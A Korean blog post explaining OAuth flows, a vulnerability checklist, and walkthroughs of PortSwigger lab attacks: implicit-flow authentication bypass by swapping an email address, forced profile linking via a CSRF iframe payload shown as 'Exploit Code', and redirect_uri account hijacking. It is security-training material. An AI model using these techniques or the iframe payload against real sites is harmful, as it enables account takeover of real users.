ν‹°μŠ€ν† λ¦¬ λ·°

OAuth λž€

온라인 μ‡Όν•‘μ²˜λŸΌ λ‹€μ–‘ν•œ ν¬ν„Έ μ‚¬μ΄νŠΈμ—μ„œ κ΅¬ν˜„λœ λ‘œκ·ΈμΈ λ°©μ‹μ„ λ³΄λ©΄ λ“±λ‘λœ ID λ° νŒ¨μŠ€μ›Œλ“œλ‘œ κ°€μž…ν•˜λŠ” 것이 μ•„λ‹Œ "μ†Œμ…œ λ―Έλ””μ–΄ κ³„μ •"을 ν†΅ν•΄ λ‘œκ·ΈμΈν•˜λŠ” λ°©μ‹μ„ μ’…μ’… λ³Ό μˆ˜ μžˆμŠ΅λ‹ˆλ‹€. 

 

OAuthλΌλŠ” 것이 생기기 μ΄μ „μ—λŠ” μ›Ή μ„œλΉ„μŠ€λ₯Ό μ΄μš©ν•˜κΈ° μœ„ν•΄ μ‚¬μš©μžμ˜ 이름과 μ•”ν˜Έλ₯Ό λ“±λ‘ν•˜μ—¬ μ‚¬μš©ν–ˆμŠ΅λ‹ˆλ‹€. λ‹€λ₯Έ μ‚¬μ΄νŠΈλ₯Ό μ΄μš©ν•  λ•Œλ§ˆλ‹€ μ‚¬μ΄νŠΈλ³„ μ‚¬μš©μžμ˜ 이름과 μ•”ν˜Έλ₯Ό μƒˆλ‘œ μ§€μ •ν•΄μ€˜μ•Ό ν•˜λŠ” λ²ˆκ±°λ‘œμ›€μ΄ μžˆμ—ˆμŠ΅λ‹ˆλ‹€. κ·Έλž˜μ„œ λ³„λ„μ˜ 계정을 λ§Œλ“€μ§€ μ•Šκ³  인증받은 타사 앱을 μ΄μš©ν•΄ κΆŒν•œμ„ λΆ€μ—¬ν•  수 μžˆλŠ” μ€‘μ•™κΈ°κ΄€μ˜ ν•„μš”μ„±μ΄ 느끼게 λ˜μ—ˆκ³  그것을 ν•΄κ²°ν•  수 μžˆλŠ” 것이 이 OAuth ν”„λ ˆμž„μ›Œν¬ 라고 λ³΄μ‹œλ©΄ λ©λ‹ˆλ‹€.

 

이 κΈ°λŠ₯을 μ΄μš©ν•  경우 μ‚¬μ΄νŠΈλ₯Ό 이동할 λ•Œλ§ˆλ‹€ νšŒμ›κ°€μž…, 계정 μž…λ ₯을 ν•˜μ§€ μ•Šκ³  νŠΉμ • μ†Œμ…œλ―Έλ””μ–΄μ˜ 계정 ν•˜λ‚˜λ‘œ μ—¬λŸ¬ μ‚¬μ΄νŠΈλ₯Ό μ΄μš©ν•  수 있기 λ•Œλ¬Έμ— ν˜„μž¬ 맀우 νŽΈλ¦¬ν•œ κΈ°λŠ₯으둜 자리 μž‘μ•˜μŠ΅λ‹ˆλ‹€.

μœ„μ˜ 사진을 λ³΄μ‹œλŠ” κ²ƒμ²˜λŸΌ Google, Facebook, Twitter λ“±μ—μ„œ μžμ‹ μ˜ μ„œλΉ„μŠ€λ₯Ό μ™ΈλΆ€ μ‹œμŠ€ν…œμ—μ„œ μ‚¬μš©ν•  수 있게 μ œκ³΅ν•΄μ£Όκ³  μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 μ†Œμ…œλ―Έλ””μ–΄μ— λ“±λ‘λ˜μ–΄μžˆλŠ” μ‚¬μš©μž 계정 정보 => λ“±λ‘ν•˜κ³ μž ν•˜λŠ” μ‚¬μ΄νŠΈμ— λ§ˆμ΄κ·Έλ ˆμ΄μ…˜ μ‹œμΌœμ£Όκ²Œ λ©λ‹ˆλ‹€.

OAuthλŠ” "Framework"둜 사양이 각각 틀리며, μœ μ—°ν•˜κ²Œ 섀계될 수 μžˆμŠ΅λ‹ˆλ‹€. 이 말은 즉 κ°œλ°œμžκ°€ κΈ°λŠ₯을 가져와 μ•ˆμ „ν•˜κ²Œ κ΅¬ν˜„ν•΄λ‘μ§€ μ•Šμ„ 경우 κ³΅κ²©μžλŠ” μ΄λŸ¬ν•œ 잘λͺ»λœ OAuth ꡬ성을 톡해 μ‚¬μš©μž 인증 λ©”μ»€λ‹ˆμ¦˜μ„ μš°νšŒν•˜μ—¬ 타 μ‚¬μš©μžμ˜ 계정을 νƒˆμ·¨ν•  수 μžˆλŠ” λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

OAuth νλ¦„μ—μ„œ ν•„μš”ν•œ μ—­ν• λ“€

1.μ•±(Client Application)
μš”μ²­ν•œ μ‚¬μš©μž 데이터에 μ•‘μ„ΈμŠ€ ν•˜λ €λŠ” μ›Ή μ‚¬μ΄νŠΈ λ˜λŠ” μ›Ή μ‘μš© ν”„λ‘œκ·Έλž¨


2.μ‚¬μš©μž(Resourc Owner)
ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μ•‘μ„ΈμŠ€ ν•˜λ €λŠ” λ°μ΄ν„°μ˜ μ‚¬μš©μž


3.OAuth μ„œλΉ„μŠ€ μ œκ³΅μž(OAuth Service provider)
μ‚¬μš©μž 데이터 및 μ•‘μ„ΈμŠ€λ₯Ό μ œμ–΄ν•˜λŠ” β€‹β€‹μ›Ήμ‚¬μ΄νŠΈ λ˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μœΌλ‘œ, 인증 μ„œλ²„ 및 λ¦¬μ†ŒμŠ€ μ„œλ²„ λͺ¨λ‘μ™€ μƒν˜Έ μž‘μš©ν•˜κΈ° μœ„ν•œ APIλ₯Ό 제곡

 

OAuth κΆŒν•œ λΆ€μ—¬ μ’…λ₯˜ 2가지

OAuth ν”„λ ˆμž„μ›Œν¬λ₯Ό ν†΅ν•œ 인증방법은 λŒ€ν‘œμ μœΌλ‘œ 2가지가 있으며 이λ₯Ό 식별할 수 μžˆλŠ” 방법 λŒ€ν‘œμ μœΌλ‘œ OAuth 인증 흐름 κ³Όμ •μ—μ„œ μš”μ²­ μ‹œ μ „λ‹¬ν•˜κ²Œ λ˜λŠ” "response_type" λ³€μˆ˜λ₯Ό 톡해 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

  • Implicit Flow(μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬)

https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=token ...

  • Authorization Code Flow(μΈμ¦μ½”λ“œ λΆ€μ—¬)

https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=code ...

 

Implicit Flow(μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬)

μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ μœ ν˜• μ€ μ£Όλ‘œ λ°±μ—”λ“œμ™€ λ³„κ°œλ‘œ κ΅¬ν˜„λœ λ‹¨μΌ νŽ˜μ΄μ§€ μ‘μš© ν”„λ‘œκ·Έλž¨(SPA)을 μœ„ν•΄ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ μƒλŒ€μ  λ‹¨μˆœμ„± λ•Œλ¬Έμ— κ³ μ „적인 ν΄λΌμ΄μ–ΈνŠΈ-μ„œλ²„ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œλ„ μžμ£Ό μ‚¬μš©ν•  κ²½μš° λ¬Έμ œκ°€λ°œμƒ ν•  μˆ˜ μžˆμŠ΅λ‹ˆλ‹€.

portswigger

1. OAuth 인증을 μœ„ν•΄ κΆŒν•œ λΆ€μ—¬ μš”μ²­
2. μ‚¬μš©μž 둜그인 및 λ™μ˜(ex: Facebookκ³„μ •μœΌλ‘œ 인증)
3. μ•‘μ„ΈμŠ€ 토큰 λΆ€μ—¬(Facebookμ—μ„œ μš”μ²­ν•œ λ²”μœ„μ˜ μ•‘μ„ΈμŠ€ 토큰 뢀여함)
4. API 호좜(λ¦¬μ†ŒμŠ€ μ„œλ²„(Facebook)에 μ‚¬μš©μž 데이터λ₯Ό κ°€μ Έμ˜€κΈ° μœ„ν•¨)

  • OAuth μ„œλΉ„μŠ€μ˜ μ‚¬μš©μž 정보 μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ API ν˜ΈμΆœμ„ λΈŒλΌμš°μ €λ₯Ό 톡해 μˆ˜ν–‰

5. μžμ› λΆ€μ—¬

  • λ¦¬μ†ŒμŠ€ μ„œλ²„λŠ” 토큰이 μœ νš¨ν•˜κ³  ν˜„μž¬ ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ†ν•˜λŠ”μ§€ 확인, μš”μ²­λœ λ¦¬μ†ŒμŠ€, 즉 μ•‘μ„ΈμŠ€ 토큰과 μ—°κ²°λœ λ²”μœ„λ₯Ό 기반으둜 ν•˜λŠ” μ‚¬μš©μž 데이터λ₯Ό μ „μ†‘ν•˜μ—¬ 응닡

μœ„μ˜ 흐름을 보듯이 인증 κ³Όμ •μ—μ„œ λ³„λ„μ˜ λ°± 채널 톡신을 ν•˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— μΈμ¦μ„œλ²„μ—μ„œλŠ” λΈŒλΌμš°μ €λ₯Ό 톡해 μ•‘μ„ΈμŠ€ 토큰을 λ³΄λ‚΄κ²Œ λ˜λŠ”λ°, νŒŒλΌλ―Έν„°μ— 직접 λ°˜ν™˜ν•΄μ£ΌκΈ° λ•Œλ¬Έμ— 이λ₯Ό νƒˆμ·¨ν•  수 μžˆμ„ 경우 λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

- Request (GET)/authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
- Response -> 승인 μš”μ²­ μ‹œ url둜 Access Token이 λ°”λ‘œ 전달됨 http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600

 

Authorization Code Flow(μΈμ¦μ½”λ“œ λΆ€μ—¬)

일반적으둜 제일 많이 μ‚¬μš©λ˜λŠ” λ°©μ‹μœΌλ‘œ λ°±μ—”λ“œκ°€ κ΅¬ν˜„λ˜μ–΄ μžˆλŠ” μ‚¬μ΄νŠΈμ— κ°€μž₯ μ ν•©ν•œ λ°©μ‹μœΌλ‘œ "μΈμ¦μ½”λ“œ"κ°€ μΆ”κ°€λ˜μ–΄ 있으며, μ•‘μ„ΈμŠ€ 토큰에 λŒ€ν•œ 인증 μ½”λ“œλŠ” λ°± μ±„λ„μ—μ„œ 이루어지기 λ•Œλ¬Έμ— μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ μœ ν˜•κ³ΌλŠ” λ‹€λ₯΄κ²Œ ν†΅μ‹ κ³Όμ •μ—μ„œ 민감정보가 μ‰½κ²Œ λ…ΈμΆœλ˜λŠ” 일을 λŒ€ν­ κ°μ†Œμ‹œμΌ°μŠ΅λ‹ˆλ‹€.

portswigger

1. OAuth 인증을 μœ„ν•΄ κΆŒν•œ λΆ€μ—¬ μš”μ²­
2. μ‚¬μš©μž 둜그인 및 λ™μ˜(ex: Facebookκ³„μ •μœΌλ‘œ 인증)
3. 수락 μ‹œ μΈμ¦μ½”λ“œ λΆ€μ—¬

4. μΈμ¦μ½”λ“œλ₯Ό 톡해 μ•‘μ„ΈμŠ€ 토큰 μš”μ²­

  • 인등 μ½”λ“œ 및 토큰 κ΅ν™˜ 이후에 λ°œμƒν•˜λŠ” λͺ¨λ“  톡신은 λ°± 채널을 톡해 μ„œλ²„ κ°„ μ „μ†‘ν•˜λ―€λ‘œ μ•ˆμ „ν•¨

5. μ•‘μ„ΈμŠ€ 토큰 λΆ€μ—¬(Facebookμ—μ„œ μš”μ²­ν•œ λ²”μœ„μ˜ μ•‘μ„ΈμŠ€ 토큰 뢀여함)

  • κ°€μž₯ λ―Όκ°ν•œ 데이터(access token 및 user data)λŠ” λΈŒλΌμš°μ €λ₯Ό 톡해 μ „μ†‘λ˜μ§€ μ•ŠμŒ

6. API 호좜(ν΄λΌμ΄μ–ΈνŠΈ 앱이 μ•‘μ„ΈμŠ€ 토큰을 가지고 μžˆμœΌλ―€λ‘œ λ¦¬μ†ŒμŠ€ μ„œλ²„(Facebook)에 μ‚¬μš©μž 데이터λ₯Ό κ°€μ Έμ˜€κΈ° μœ„ν•¨)

7. λ¦¬μ†ŒμŠ€ λΆ€μ—¬(μœ νš¨ν•œ 토큰일 경우 λ¦¬μ†ŒμŠ€ μ„œλ²„λŠ” ν΄λΌμ΄μ–ΈνŠΈ μ•±μ—μ„œ μ„ νƒν•œ λ¦¬μ†ŒμŠ€λ₯Ό 제곡

1.Authorization
- Request (GET)/authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fc - Response https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

2.Access token
- Request (POST) /token Authorization: Bearer czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

- Response -> Authorization Code νšλ“ ν›„ ν•΄λ‹Ή Code둜 Access Token νšλ“
{ "access_token":"2YotnFZFEjr1zCsicMWpAA", "token_type":"example", "expires_in":3600, "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA", "example_parameter":"example_value" }

 

OAuth Vulnerability check

OAuth μ„œλΉ„μŠ€μ˜ 취약점을 찾을 λ•Œ ν™•μΈν•˜λŠ” λŒ€ν‘œμ μΈ μ²΄ν¬λ¦¬μŠ€νŠΈμž…λ‹ˆλ‹€. μš°μ„ μ μœΌλ‘œ μ–΄λ–€ λ°©μ‹μœΌλ‘œ κΆŒν•œμ„ λΆ€μ—¬ν•˜λŠ”μ§€ 체크 ν›„ 각각의 λ³€μˆ˜μ™€ 흐름을 λΆ„μ„ν•΄μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

1.OAuth λ²„μ „ μ‹λ³„(1.0μ—μ„œλŠ” Access tokenκ³Ό Request token 2개 μ‚¬μš©λ¨)
2. μ‚¬μš© 쀑인 κΆŒν•œ λΆ€μ—¬ μœ ν˜• 식별
3.잘λͺ»λœ λ³΄μ•ˆ ꡬ성듀 ν…ŒμŠ€νŠΈ

- λΆˆμΆ©λΆ„ν•œ μ„Έμ…˜ 관리(ν΄λΌμ΄μ–ΈνŠΈ μ•±μ—μ„œ λ‘œκ·Έμ•„μ›ƒ λ˜μ–΄λ„ νƒ€μ‚¬μ–΄ν”Œλ¦¬μΌ€μ΄μ…”μ˜ μ„Έμ…˜ μœ μ§€)
- redirect_uri 의 μž…λ ₯ κ°’ 검증 미흑(μ˜€ν”ˆ λ¦¬λ‹€μ΄λ ‰νŠΈ λ°œμƒ)
Token Leakage(μΈμ¦μ„œλ²„κ°€ HTTP(80)λ₯Ό ν†΅ν•΄ access_tokenλ₯Ό λ°˜ν™˜ν•˜λŠ”지 μ²΄ν¬, Bearer헀더에 λ‹΄λŠ” 게 μ•ˆμ „)

- κ°•λ ₯ν•œ Client Secrets μ‚¬μš© μ—¬λΆ€ 체크(인증 ν›„ Authorization 헀더가 Bearerκ°€ μ•„λ‹Œ Basic인 경우, 무차별 λŒ€μž… κ°€λŠ₯)
- state λ§€κ°œλ³€μˆ˜ 및 μž¬μ‚¬μš© 확인(CSRF κ°€λŠ₯μ„±)
- Scope Value Manipulation(κΆŒν•œ λ²”μœ„ κ°’ μ‘°μž‘)
Implicit Grant(μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬(response_type=token), μ•‘μ„ΈμŠ€ ν† ν° λˆ„μΆœ λ° μ•‘μ„ΈμŠ€ ν† ν° μž¬μƒμ— μ·¨μ•½ν•˜λ©° μΈμ¦ μ‘λ‹΅μ—μ„œ νŠΉμ • ν΄λΌμ΄μ–ΈνŠΈμ— λŒ€ν•΄ λ°œκΈ‰λœ μ•‘μ„ΈμŠ€ ν† ν°μ„ μ•”ν˜Έν™” λ°©μ‹μœΌλ‘œ λ°”μΈλ”©ν•˜λŠ” μ‹€ν–‰ κ°€λŠ₯ν•œ λ©”μ»€λ‹ˆμ¦˜μ΄ μ—†λŠ”지 μ²΄ν¬)

 

Authentication bypass via OAuth implicit flow[ μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ 기반 인증 우회 ]

ν•΄λ‹Ή μ‚¬μ΄νŠΈλŠ” OAuth의 μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ 흐름을 톡해 μ‚¬μš©μžκ°€ μ†Œμ…œ λ―Έλ””μ–΄ κ³„μ •μœΌλ‘œ μ•‘μ„ΈμŠ€ ν•  수 μžˆλ„λ‘ κ΅¬μ„±λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

 

OAuthλŠ” λ³΄μ•ˆμ μΈ μΈ‘λ©΄μ—μ„œ μ˜¬λ°”λ₯Έ μ˜΅μ…˜μ˜ 쑰합을 μ‚¬μš©ν•˜κ³  κ°•λ ₯ν•œ μž…λ ₯ μœ νš¨μ„± 검사와 같은 자체 μΆ”κ°€ λ³΄μ•ˆ 쑰치λ₯Ό κ΅¬ν˜„ν•˜λŠ” κΈ°λŠ₯을 κ°œλ°œμžμ—κ²Œ 거의 μ „μ μœΌλ‘œ μ˜μ‘΄ν•˜λ‹€ λ³΄λ‹ˆ λ‹¨μˆœ νŽΈμ˜μ„± μΈ‘λ©΄μ—μ„œλ§Œ 개발 κ΅¬ν˜„μ„ ν•˜κ²Œ λ˜λŠ” κ²½μš°κ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

λ§Œμ•½ μΈμ¦κ³Όμ •μ—μ„œ μœ νš¨ν•œ μ‚¬μš©μžμΈμ§€ μ œλŒ€λ‘œ κ²€μ‚¬ν•˜μ§€ μ•Šμ„ 경우 κ³΅κ²©μžλŠ” 타 μ‚¬μš©μžμ˜ μ•”ν˜Έλ₯Ό λͺ¨λ₯΄λŠ” μƒνƒœμ—μ„œ λ¬΄λ‹¨μœΌλ‘œ λ‘œκ·ΈμΈν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

κΆŒν•œ μš”μ²­ μ‹œ response_type λ³€μˆ˜μ— "token"이 μ„€μ •λ˜μ–΄ μžˆλŠ” 것을 톡해 μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬λ₯Ό ν•˜κ³  μžˆλŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

앱에 λŒ€ν•œ μ‚¬μš©μž μ•‘μ„ΈμŠ€λ₯Ό λ™μ˜ν•˜κ²Œ 되면 OAuth μ„œλΉ„μŠ€ μ œκ³΅μžμ—μ„œ μ‚¬μš©μžκ°€ μ•‘μ„ΈμŠ€ ν•˜κ³ μž ν•˜λŠ” 앱에 λ‘œκ·ΈμΈλ˜μ–΄ μžˆλŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.(λ‘œκ·ΈμΈλ˜μ–΄ μžˆμ§€ μ•Šμ„ 경우 μ†Œμ…œ λ―Έλ””μ–΄ λ‘œκ·ΈμΈμ„ μœ λ„)

 

둜그인 ν›„ μ‚¬μš©μž 신원 체크λ₯Ό λͺ¨λ‘ 거치면 μš”μ²­ 헀더에 Authorization: Bearer에 토큰을 λ‹΄μ•„ /me μ—”λ“œν¬μΈνŠΈμ— μš”μ²­ν•˜κ²Œ 되고 이후에 /oauth-callback μ—”λ“œν¬μΈνŠΈμ— 인증을 μ™„λ£Œν•œ μ‚¬μš©μžμ˜ μ„Έμ…˜μ •λ³΄λ₯Ό Cookie헀더에 ν¬ν•¨μ‹œμΌœ HTTP 200을 λ°˜ν™˜λ°›μ•„ 인증 ν”„λ‘œμ„ΈμŠ€λ₯Ό 끝마치게 λ˜λŠ” κ΅¬μ‘°μž…λ‹ˆλ‹€.

 

λ‹€μ‹œ μœ„λ‘œ μ˜¬λΌκ°€ /authenticate μ—”λ“œν¬μΈνŠΈμ— μ‚¬μš©μžμ˜ 이메일 μ£Όμ†Œμ™€, 이름을 μž…λ ₯λ°›λŠ” μš”μ²­μ—μ„œ 이메일 μ£Όμ†Œλ₯Ό 타 μ‚¬μš©μžμ˜ 이메일 μ£Όμ†Œλ‘œ λ³€κ²½ν•˜μ—¬ μž¬μΈμ¦μ„ 해보면 좔가적은 μ‚¬μš©μž μœ νš¨μ„± 검증을 ν•˜μ§€ μ•Šμ•„ μƒˆλ‘œμš΄ μ„Έμ…˜μ„ λ°˜ν™˜ν•΄μ€λ‹ˆλ‹€.

 

λ°˜ν™˜λœ μ„Έμ…˜μ •λ³΄λ₯Ό 톡해 /oauth-callback의 Cookie 헀더λ₯Ό μˆ˜μ •ν•΄λ³΄λ©΄ μ„±κ³΅μ μœΌλ‘œ μž„μ˜ μ‚¬μš©μž 계정 μ •λ³΄λ‘œ λ‘œκ·ΈμΈν•˜κ²Œ λ©λ‹ˆλ‹€.

 

이 같은 λ¬Έμ œλŠ” μ•‘μ„ΈμŠ€ 토큰을 Authorization 헀더에 λ‹΄μ•„ /me μ—”λ“œν¬μΈνŠΈμ— μš”μ²­μ„ 보내면 그의 λ”°λ₯Έ μ‚¬μš©μž 데이터λ₯Ό κ°€μ Έμ˜€κ²Œ λ˜λŠ”λ°, μ‚¬μš©μžλ₯Ό ν™•μΈν•˜λŠ” 검증 λ‹¨κ³„μ—μ„œ ν΄λΌμ΄μ–ΈνŠΈ μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ μ•‘μ„ΈμŠ€ 토큰이 μš”μ²­μ˜ λ‹€λ₯Έ 데이터와 μΌμΉ˜ν•˜λŠ”μ§€ μ œλŒ€λ‘œ ν™•μΈν•˜μ§€ μ•ŠλŠ” 경우 κ³΅κ²©μžλŠ” 본인이 뢀여받은 토큰을 기반으둜 타 μ‚¬μš©μžμ˜ 이메일 μ£Όμ†Œλ‘œ λ³€κ²½ν•˜μ—¬ μ•…μš©ν•  수 μžˆλ‹€λŠ” 점을 μ‹œμ‚¬ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

Forced OAuth profile linking( κ°•μ œ ν”„λ‘œν•„ μ—°κ²° )

기쑴에 λ‘œκ·ΈμΈν•œ μ‚¬μš©μžλ“€μ€ 타 μ†Œμ…œ λ―Έλ””μ–΄μ˜ ν”„λ‘œν•„μ„ ν•΄λ‹Ή μ‚¬μ΄νŠΈ 계정에 연동할 수 μžˆλŠ” λ©”μ»€λ‹ˆμ¦˜μ΄ μ‘΄μž¬ν•©λ‹ˆλ‹€.

ν•˜μ§€λ§Œ μ—¬κΈ°μ„œ μ€‘μš”ν•œ 점은 μ—°λ™ν•˜κΈ° μœ„ν•œ κ³Όμ •μ—μ„œ μœ νš¨ν•œ μš”μ²­μΈμ§€ μ•„λ‹Œμ§€λ₯Ό μ²΄ν¬ν•˜μ§€ λͺ»ν•  경우 κ³΅κ²©μžλŠ” 타 μ‚¬μš©μžμ˜ 정보λ₯Ό λ„μš©ν•˜κ±°λ‚˜ νƒˆμ·¨ν•  κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

μ‚¬μš©μžμ˜ 이름 및 λΉ„λ°€λ²ˆν˜Έλ₯Ό 톡해 졜초 둜그인 ν›„ 타 μ‚¬μ΄νŠΈμ˜ ν”„λ‘œν•„μ„ μ—°λ™ν•˜μ—¬ κ°€μ Έμ˜¬ 수 μžˆλŠ” λ©”μ»€λ‹ˆμ¦˜μ„ μ§€μ›ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. μš°μ„  둜그인 ν›„ "Attach a social profile"ν•˜μ—¬ μ—°λ™ν•˜λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

인증 μ‹œ μ‚¬μš©λ˜λŠ” λ§€κ°œλ³€μˆ˜λ₯Ό 확인해보면 μœ„μ—μ„œ μ§„ν–‰ν•œ 것 κ³ΌλŠ” λ‹€λ₯Έ 게 response_type=code둜 λΆ€μ—¬λ˜μ–΄ μžˆλŠ” κ²ƒμœΌλ‘œ 보아 "μΈμ¦μ½”λ“œ λΆ€μ—¬" 흐름을 μ‚¬μš©ν•˜λŠ” κ²ƒμœΌλ‘œ μΆ”μΈ‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μœ„μ—μ„œλŠ” λ§μ”€λ“œλ¦¬μ§€ μ•Šμ€ λΆ€λΆ„μ΄μ§€λ§Œ μ—¬κΈ°μ„œ ν™•μΈλ˜λŠ” 그리고 체크해봐야 될 λ³€μˆ˜λŠ” 2가지 정도 μžˆμŠ΅λ‹ˆλ‹€.

  • state λ§€κ°œλ³€μˆ˜μ˜ λΆ€μ œ
  • redirect_uri의 μž…λ ₯ κ°’ 검증

첫 번째둜 μž„μ˜λ‘œ μ§€μ •λ˜λŠ” 랜덀 토큰 "state" λ³€μˆ˜κ°€ μ‘΄μž¬ν•˜μ§€ μ•Šμ•„ CSRF ν˜•μ‹μ˜ 곡격에 λ…ΈμΆœλ  κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€. λ˜ν•œ redirect_uri 에 μ§€μ •λœ 끝점 μš”μ²­μ˜ μœ νš¨μ„± 검사λ₯Ό μ œλŒ€λ‘œ ν•˜μ§€ μ•Šμ„ 경우 λ™μΌν•˜κ²Œ CSRFν˜•νƒœμ˜ 곡격에 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ—°λ™ν•˜κΈ° μœ„ν•΄ μƒμ„±λœ code 값을 볡사 ν›„ μš”μ²­ 값을 "Drop" μ‹œν‚΅λ‹ˆλ‹€.(타 μ‚¬μš©μžμ˜ 계정에 μžμ‹ μ˜ ν”„λ‘œν•„μ„ μ—°λ™μ‹œν‚€λŠ” 것이 λͺ©μ μ΄λ‹ˆ) λ˜ν•œ 계정을 μ—°κ²°ν•˜κΈ° μœ„ν•œ oauth 인증 μš”μ²­ κ³Όμ •μ—μ„œλ„ CSRFλ₯Ό 방지할 수 μžˆλŠ” "state" λ³€μˆ˜κ°€ μ—†μŠ΅λ‹ˆλ‹€.

- Exploit Code -
<iframe src="https://ac4d1fb91e5170f4c0a029bd001e00aa.web-security-academy.net/oauth-linking?code=Attacker Token"></iframe>

μš”μ²­ μ½”λ“œλ₯Ό 기반으둜 iframe νƒœκ·Έλ₯Ό μ‚¬μš©ν•˜μ—¬ ν˜ΈμŠ€νŒ… μ„œλ²„μ— μ—…λ‘œλ“œν•΄λ‘κ³  κ΄€λ¦¬μžκ°€ μžμ‹ μ˜ μ„œλ²„μ— μ ‘κ·Όν•˜μ—¬ μ½”λ“œκ°€ μ‹€ν–‰λ˜λ„λ‘ μœ λ„ν•©λ‹ˆλ‹€.

 

κ΄€λ¦¬μž 계정이 곡격자 μ„œλ²„μ— μ ‘κ·Όν•˜κ²Œ 되면 μžλ™μœΌλ‘œ redirect_uri에 μ§€μ •λœ /oauth-linking?code=attacker token으둜 μš”μ²­μ„ 보내 κ΄€λ¦¬μž 계정에 곡격자의 ν”„λ‘œν•„μ„ μ—°λ™ν•˜κ²Œ 되기 λ•Œλ¬Έμ— κ³΅κ²©μžλŠ” 이 OAuth κ³„μ •μœΌλ‘œ 톡합 λ‘œκ·ΈμΈν•˜μ—¬ 계정을 νƒˆμ·¨ν•  수 있게 λ©λ‹ˆλ‹€.

 

OAuth account hijacking via redirect_uri( redirect_uriλ₯Ό ν†΅ν•œ oauth 인증 νƒˆμ·¨ )

ν•΄λ‹Ή μ‚¬μ΄νŠΈμ—μ„œλŠ” μ‚¬μš©μžκ°€ "μ†Œμ…œ λ―Έλ””μ–΄"λ₯Ό ν†΅ν•΄ λ‘œκ·ΈμΈν•  μˆ˜ μžˆλŠ” κΈ°λŠ₯이 μ‘΄μž¬ν•©λ‹ˆλ‹€. Login with social mediaλ₯Ό μ§„ν–‰ν•˜μ—¬ μš”μ²­ νŒŒλΌλ―Έν„°λ₯Ό μž‘아보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

인증 μš”μ²­ νŒ¨ν‚·μ„ ν†΅ν•΄ ν™•μΈ λ° μ²΄ν¬ν•΄μ•Ό 될 λΆ€λΆ„듀은 μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.
1.response_type μ²΄ν¬(μΈμ¦μ½”λ“œ λΆ€μ—¬ μœ ν˜•)
2.redirect_uri의 μœ νš¨μ„± κ²€μ¦
3.state νŒŒλΌλ―Έν„° μ‘΄μž¬ μœ λ¬΄

 

"redirect_uri"λ³€μˆ˜λŠ” μ„œλ²„κ°€ 인증 μ½”λ“œλ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆλŠ” μ€‘μš”ν•œ λ³€μˆ˜λ‘œ, 이 λ³€μˆ˜μ˜ μœ νš¨μ„±μ„ μ²˜λ¦¬ν•˜μ§€ λͺ»ν•  경우 κ³΅κ²©μžλŠ” λ¦¬λ‹€μ΄λ ‰μ…˜μ„ 일으켜 HTTP 과정에 ν¬ν•¨λœ μΈμ¦μ½”λ“œλ₯Ό 톡해 μ‚¬μš©μž 계정에 λ¬΄λ‹¨μœΌλ‘œ μ•‘μ„ΈμŠ€ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ λ§ˆμ°¬κ°€μ§€λ‘œ λ³„λ„μ˜ state λ³€μˆ˜κ°€ μ‘΄μž¬ν•˜μ§€ μ•Šμ•„ CSRF에 μ·¨μ•½ν•©λ‹ˆλ‹€.

 

